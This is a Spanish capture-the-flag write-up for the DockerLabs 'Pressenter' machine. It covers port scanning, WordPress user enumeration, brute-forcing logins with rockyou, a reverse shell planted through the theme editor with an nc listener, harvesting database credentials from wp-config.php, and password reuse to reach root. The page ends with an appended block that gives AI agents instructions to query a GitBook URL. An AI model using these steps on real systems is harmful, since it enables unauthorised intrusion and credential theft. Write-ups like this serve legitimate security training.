# Pressenter

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/eORn3Ig5XGb2BduBwExj" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/6Y3UuejcmFNOJ2eOr7Qy" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/ZNL9eppcgPkVE7Pb08Oo" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web de CTF (está algo fea) puede ser que sea un WordPress.

<figure><img src="/files/78W9Roj7DyJYqzp9rJlz" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,txt,xml
```

<figure><img src="/files/5yt03WniQ5zTPLIjaDzu" alt=""><figcaption></figcaption></figure>

Revisamos el código fuente y encontramos un dominio por lo que hay que añadirlo en el archivo `/etc/hosts`.

<figure><img src="/files/Wga6O80L9F2kQlVO6lFq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YJat64o4Qo8VLiFmrf94" alt=""><figcaption></figcaption></figure>

Al ser un **WordPress** realizamos este comando para enumerar los usuarios y plugins.

```bash
wpscan --url http://pressenter.hl/ --enumerate u,vp
```

<figure><img src="/files/5WYGob76OW1lB8x9wdjh" alt=""><figcaption></figcaption></figure>

Realizamos fuerza bruta a través de la misma herramienta.

```bash
wpscan --url http://pressenter.hl/ --passwords /usr/share/wordlists/rockyou.txt --usernames pressi,hacker
```

<figure><img src="/files/fgblXahtuBdk4rBdb2o0" alt=""><figcaption></figcaption></figure>

Nos logueamos con esas credenciales.

<figure><img src="/files/mVLcvRNyjaNpw3IHNnyO" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Estamos dentro vamos a la sección de **Herramientas** en concreto **Editor de archivos de temas** para subir la [**Reverse Shell**](https://www.revshells.com/).

<figure><img src="/files/shjLSmDCuHKoe43qa5yZ" alt=""><figcaption></figcaption></figure>

Al actualizar el archivo nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="/files/igrgUm6M08oplhak2CPD" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos SUDO.

<figure><img src="/files/AWiQ0ySNwQrYJdKUSBZg" alt=""><figcaption></figcaption></figure>

Encuentro en el directorio `/tmp` un archivo que no se puede leer si no soy el usuario **mysql** por lo que voy a mostrar el contenido de **wp-config.php**.

<figure><img src="/files/PA8tswREeVcLBhSfXNuC" alt=""><figcaption></figcaption></figure>

```
cat /var/www/pressenter/wp-config.php
```

<figure><img src="/files/BLu9lHM9xM6rK0iuKVJb" alt=""><figcaption></figcaption></figure>

Encontramos un usuario y su contraseña.

```
mysql -u admin -p'rooteable' -h 127.0.0.1
```

<figure><img src="/files/PrsxAxzlbFw2x9SOynMf" alt=""><figcaption></figcaption></figure>

Indagamos a ver si encontramos información relevante.

```bash
show databases;
use wordpress;
show tables;
select * from wp_usernames;
```

<figure><img src="/files/C1n3quZI4NCoW3rXcnGq" alt=""><figcaption></figcaption></figure>

Encontramos las credenciales del usuario **enter**. Nos logueamos.

<figure><img src="/files/48x1Ivlc3EOekSY3qhph" alt=""><figcaption></figcaption></figure>

En el directorio del usuario hay una flag probablemente en el directorio root puede haber algo parecido por lo que realizamos este comando para escalar privilegios.

```bash
sudo /usr/bin/cat /root/root.txt
```

<figure><img src="/files/SyLCfXwW78W62XOu72Kk" alt=""><figcaption></figcaption></figure>

No tenemos suerte, voy a probar una solución más sencilla y es la misma contraseña sea para root.

<figure><img src="/files/rrdWa0CsfTzclLWzac4i" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/pressenter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
